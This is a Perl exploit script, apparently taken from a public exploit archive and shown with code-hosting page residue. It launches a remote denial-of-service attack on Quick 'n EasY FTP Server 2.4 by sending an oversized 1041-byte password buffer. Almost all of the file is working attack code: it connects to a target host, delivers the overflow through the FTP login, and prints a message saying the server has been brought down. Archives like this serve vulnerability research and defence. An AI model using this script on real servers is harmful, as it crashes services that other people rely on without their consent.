39 lines
No EOL
1.3 KiB
Perl
Executable file
39 lines
No EOL
1.3 KiB
Perl
Executable file
#!/usr/local/bin/perl -w
|
|
|
|
###########################################################
|
|
###########################################################
|
|
## Quick 'n EasY VER 2.4 Ftp Server remote D.o.S
|
|
## Discovered,exploited by KaGra
|
|
## Tested on WinXP SP1 English version
|
|
## sENDING a big buffer in PASS,at least 1041 bytes
|
|
## will crash the sever,as long as the logfile on server
|
|
## is viewed or just at the time it will be viewed.This
|
|
## sploit works also for almost ALL commands (like APPE
|
|
## ,CWD etc),but as u understand,for them U should have at
|
|
## least a guest account.For this sploit,no account needed.
|
|
## PS:Many thankz to muts for the shellcode at Ability Server APPE sploit...
|
|
############################################################
|
|
############################################################
|
|
|
|
|
|
use Net::FTP;
|
|
|
|
|
|
$hostname = 'localhost'; #Remote Host to D.o.S!
|
|
$username = 'anonymous'; #AnythinG HeRe!
|
|
|
|
print "\n[*]BuiLDinG BuFfer...\n";
|
|
|
|
$password = 'A'x1041 ; #OverFlow BuffEr!
|
|
print "[*]ConnectinG To TarGet...\n";
|
|
|
|
$ftp = Net::FTP->new($hostname); # Connecting...
|
|
print "[*]SenDing DeViL...\n\n";
|
|
|
|
$ftp->login($username, $password); # Send EviL BuffeR...
|
|
|
|
$ftp->quit;
|
|
print "SerVer Has Been Dosed,will be Down if LogFile is or will be viewed!\n";
|
|
|
|
|
|
# milw0rm.com [2004-10-24] |